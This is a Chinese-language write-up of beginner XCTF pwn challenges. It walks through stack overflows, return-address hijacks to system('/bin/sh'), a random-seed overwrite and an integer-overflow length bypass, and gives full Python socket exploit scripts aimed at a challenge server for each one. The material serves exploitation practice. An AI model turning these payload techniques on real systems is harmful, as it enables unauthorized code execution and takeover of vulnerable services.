尝试使用 单纯的底层库 挑战 xctf pwn 的入门题目
使用库:
- socket
- threading
getshell
ida 打开, 发现 直接调用了 system(“/bin/sh”) 直接反弹了 shell
这里直接抄了一段 python 模拟 nc 的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
|
import socket from threading import Thread
sock = socket.socket()
sock.connect(("111.200.241.244", 65467))
def recv(): while True: data = sock.recv(1024).decode() if not data: break print("Received:"+data)
def send(): while True: print(1) sock.send(input().encode() + b'\n')
Thread(target=recv).start() Thread(target=send).start()
|
这里需要注意的细节:
send 发送数据时 必须以 \n 结尾, 因为服务端是以\n 判断是否结尾的, python的input 默认把 \n 吃掉了,导致服务器认为你没有发完数据,一直阻塞等待你发送数据,下面也一起阻塞了
直接 ls cat flag 拿到 flag
hello_pwn
代码读取了 0x10 字节的数据到 601068 中, 并判断 60106c 是否为 nuaa 字符串, 是就执行一个函数 cat flag
这里考虑到字符串 大小端 我们构造的 payload 应为 1111aaun 没错就是 nuaa 倒过来
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
import socket import threading
s = socket.socket() s.connect(("111.200.241.244", 61055)) buffer = s.recv(4096)
print(buffer) s.send(b'1111aaun\n')
buffer = s.recv(1024)
print(buffer)
|
level0
普通栈溢出
main函数 在 stdin(终端) 中打印 Hello World 后执行 vulnerable_function 函数
vulnerable_function 向 局部变量 buf 中读取字符串 , 这里发现 buf 的大小为 128 , read 函数却能读取 512 字节数据, 说明这里存在 栈溢出漏洞
通过观察 vulnerable_function 的栈帧结构
构造 128 个垃圾字节填充 buf 空间 , 然后 再构造 8 个垃圾字节填充 s 位置, 最后将 想劫持 eip 的地址 填充到 r 中, exp 构造完成
我们发现 callsystem 刚好拥有 system(“/bin/sh”) 直接将 eip 改变到此处即可
改变 eip 的地址为 000000000040059A
这里需要将 这个地址填充到上面的 exp中 , 考虑到 字节序 应将该地址进行转换
1
| print(0x000000000040059A.to_bytes(8, byteorder='little', signed=True))
|
得到: b’\x9a\x05@\x00\x00\x00\x00\x00’
这里 32 位为 4, 64 位为 8
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
import socket import threading
s = socket.socket()
s.connect(("111.200.241.244", 62414))
buffer = s.recv(4096) print(buffer)
payload = b'A' * 128 + b'1' * 8 + b'\x96\x05\x40\x00\x00\x00\x00\x00' + b'\n'
s.send(payload)
s.send(b'cat flag\n')
buffer = s.recv(4096) print(buffer)
|
level2
这里稍微复杂一点
main函数调用了 vulnerable_function 漏洞点也在 此处
我们发现 read 函数读取了 0x100 个字节 而函数开辟的栈空间才 0x88 字节, 这里栈溢出了
我们发现,程序里面没有直接调用 system(“/bin/sh”) 但是 system 函数 和 /bin/sh 字符串 都存在
我们可以通过 read + buf 将堆栈填满, 然后覆盖返回地址 劫持eip 到 system 调用,再把 /bin/sh 的地址填上
然后选定好 返回地址 0x0804845C
当 程序通过溢出 执行到 0x0804845C 时, 我们的堆栈情况为
esp-4 -> 0x0804845C
esp -> 0804A024 &”/bin/sh”
我们的 system 函数直接调用了 esp 指向的 字符串 getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
import socket
s = socket.socket()
payload = b'A' * (136 + 4) + 0x804845c.to_bytes(4, "little") + 0x0804A024.to_bytes(4, "little") + b'\n' s.connect(("111.200.241.244", 56744))
buffer = s.recv(4096) print(buffer)
s.send(payload)
s.send(b'cat flag\n')
buffer = s.recv(4096) print(buffer)
|
guess_num
查看代码
是一个 猜数字的游戏,但是游戏的数字都是随机产生的
溢出点在 get 函数, 该函数没有限制输入长度, 会产生溢出, 可覆写 v7 变量以下的所有变量值
通过观察堆栈,发现随机数种子 seek 在 v7 变量 ,也就是 var_30 下面,所以我们可以通过溢出漏洞, 覆写 seek , 使随机数可控, 从而 执行最下面的 sub_C3E() 函数 , getflag
通过一小段代码,在linux系统上获取指定随机数种子 1 的随机数列表
1 2 3 4 5 6
| from ctypes import *
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") libc.srand(1) for i in range(10): print(libc.rand(), end=",")
|
拿到之后 , 开始编写 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import socket
rand_num = [1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492,596516649,1189641421]
s = socket.socket() s.connect(("111.200.241.244", 60226))
def get_recv(s): buffer = s.recv(4096) print(buffer)
get_recv(s) get_recv(s)
payload = b'A' * 32 + 0x1.to_bytes(4, "little") + b'\n' s.send(payload)
for i in range(len(rand_num)): get_recv(s) s.send(str(rand_num[i] % 6 + 1).encode() + b'\n')
get_recv(s) get_recv(s)
|
int_overflow
调用流程为: main -> login -> check_passwd
login 函数 读取了两个 字符串 用户名和密码
check_passwd 通过判断密码长度, 判定是否为有效密码,为有效密码就做一个字符串拷贝操作
我们可以看到 buf 的最大长度 为 0x199 大于 __int8 的最大容量 0xff , 构造一段特定长度的字符串, 就可以造成 过大的字符串空间被复制到 check_passwd 函数中, 造成 栈溢出
通过观察 堆栈
得到覆写的长度 0x14 + s 的长度 4 + 函数返回地址
本题中提供了 what_is_this 函数 读取flag, 所以函数返回地址要劫持到此处
剩下的字节长度就为 0xff - 0x14 - 4 - 4 = 227
因题目要求长度 大于且不等于 3 所以 227 + 4 = 231
payload :
1
| payload = b'A' * (0x14 + 4) + 0x804868B.to_bytes(4, "little") + b'B' * 231 + b'\n'
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
|
import socket
s = socket.socket() s.connect(("111.200.241.244", 60575))
def get_recv(s): buffer = s.recv(4096) print(buffer.decode())
get_recv(s) get_recv(s)
s.send('1'.encode() + b'\n') get_recv(s)
s.send(b"m1n9yu3\n") get_recv(s) get_recv(s)
payload = b'A' * (0x14 + 4) + 0x804868B.to_bytes(4, "little") + b'B' * 231 + b'\n'
s.send(payload) get_recv(s)
get_recv(s)
|
cgpwn2
最后一个简单题
提供了 pwn 函数 , pwn函数里调用了 system
但是 程序中,并没有找到 /bin/sh 字符串, 本题只能自己构造 /bin/sh 或者 cat flag 字符串 让 system 调用
main函数调用了 hello , hello 从控制台读取了 name , 和 一个 message
调用了 gets 危险函数, 造成了 栈溢出, 查看栈帧
溢出长度为 0x26 + 4 = 42 之后就是 返回地址 (pwn函数) 然后 再跟上 name 的地址, name 输入一个系统命令, 读取flag
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
|
import socket
s = socket.socket() s.connect(("111.200.241.244",58449))
def get_recv(): buffer = s.recv(4096) print(buffer)
get_recv() get_recv()
s.send(b'cat flag\n')
get_recv() get_recv()
payload = b'A' * 42 + 0x0804855A.to_bytes(4, "little") + 0x804A080.to_bytes(4, "little") + b'\n'
s.send(payload)
get_recv()
|